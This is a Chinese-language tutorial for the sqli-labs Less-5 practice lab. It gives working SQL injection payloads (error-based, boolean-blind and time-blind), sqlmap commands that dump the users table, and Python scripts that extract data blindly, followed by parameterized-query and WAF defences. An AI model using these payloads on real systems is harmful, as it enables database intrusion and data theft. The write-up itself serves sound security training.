1. sqli-labs-Less-5靶场环境解析
Less-5是sqli-labs靶场中经典的基于错误的单引号字符型注入场景。这个关卡的特殊性在于它不会直接返回查询结果,而是通过报错信息或布尔盲注的方式泄露数据。实际测试时,页面仅返回"You are in..."的固定提示,但通过构造特殊payload可以触发数据库报错信息。
靶场默认配置使用MySQL数据库,后端代码存在如下漏洞特征:
$id = $_GET['id']; $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";当输入单引号时,会触发SQL语法错误,暴露出数据库结构信息。这种设计模拟了开发人员未对用户输入进行过滤,同时关闭了错误友好提示的真实场景。
2. 手工注入原理与过程拆解
2.1 报错注入技术要点
通过构造特殊payload使数据库执行时报错并回显信息。常用函数组合:
1' AND updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)--+这里利用updatexml函数的第二个参数必须是XPath格式的特性,通过concat拼接波浪符(~)与非XPath格式的查询结果,触发报错输出。关键点在于:
- 0x7e是波浪符的十六进制,作为分隔符便于提取
- 嵌套子查询可获取系统变量、数据库名等敏感信息
- --+用于注释后续SQL语句
2.2 布尔盲注技术实现
当报错被屏蔽时,可采用基于布尔判断的注入方式。通过页面返回差异判断条件真假:
1' AND (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)='a'--+通过逐字符暴力猜解,结合以下技术点:
- SUBSTRING函数按位截取字段值
- information_schema数据库获取元数据
- 二分法提高猜解效率
3. sqlmap自动化注入实战
3.1 基础探测命令
sqlmap -u "http://target/Less-5/?id=1" --batch --risk=3 --level=5参数说明:
- --batch:自动选择默认选项
- --risk=3:启用危险级别检测(含文件操作)
- --level=5:最大检测深度(含Cookie注入)
3.2 高级技巧配置
- 指定注入技术:
sqlmap -u "URL" --technique=BEUB:布尔盲注 E:报错注入 U:联合查询
- 优化检测速度:
sqlmap -u "URL" --threads=10 --optimize启用多线程和智能优化
- 数据提取示例:
sqlmap -u "URL" -D security -T users --dump导出security数据库users表全部数据
4. 自定义脚本开发指南
4.1 Python自动化脚本框架
import requests target = "http://target/Less-5/?id=" charset = "0123456789abcdefghijklmnopqrstuvwxyz" def bool_injection(payload): resp = requests.get(target + payload) return "You are in" in resp.text # 逐位猜解函数示例 def extract_data(query, length): data = "" for pos in range(1, length+1): for char in charset: payload = f"1' AND SUBSTRING(({query}),{pos},1)='{char}'-- " if bool_injection(payload): data += char break return data4.2 性能优化技巧
- 引入多线程加速:
from concurrent.futures import ThreadPoolExecutor def check_char(args): pos, char, query = args payload = f"1' AND SUBSTRING(({query}),{pos},1)='{char}'-- " return char if bool_injection(payload) else None def threaded_extract(query, length): data = [''] * length with ThreadPoolExecutor(max_workers=10) as executor: args = [(pos+1, char, query) for pos in range(length) for char in charset] results = executor.map(check_char, args) for idx, char in enumerate(results): if char: data[idx//len(charset)] = char return ''.join(data)5. 防御方案与实战思考
5.1 安全开发建议
- 参数化查询示例(PHP):
$stmt = $conn->prepare("SELECT * FROM users WHERE id=? LIMIT 0,1"); $stmt->bind_param("i", $id);- WAF规则示例(ModSecurity):
SecRule ARGS_GET "@detectSQLi" "id:10001,phase:2,deny"5.2 靶场练习进阶路线
- 难度升级路径:
- Less-5基础 → Less-6双引号变形 → Less-24二次注入 → Less-54挑战模式
- 时间盲注专项训练:
1' AND IF(ASCII(SUBSTRING(database(),1,1))>100,SLEEP(5),0)--+通过响应延迟判断条件成立与否
在实际渗透测试中,自动化工具的使用需要遵循授权原则。建议先在sqli-labs这类合法靶场充分练习,掌握各种场景下的注入原理和防御方法。对于时间盲注这类特殊场景,建议开发自定义脚本时加入超时重试机制,并注意避免对目标系统造成拒绝服务影响。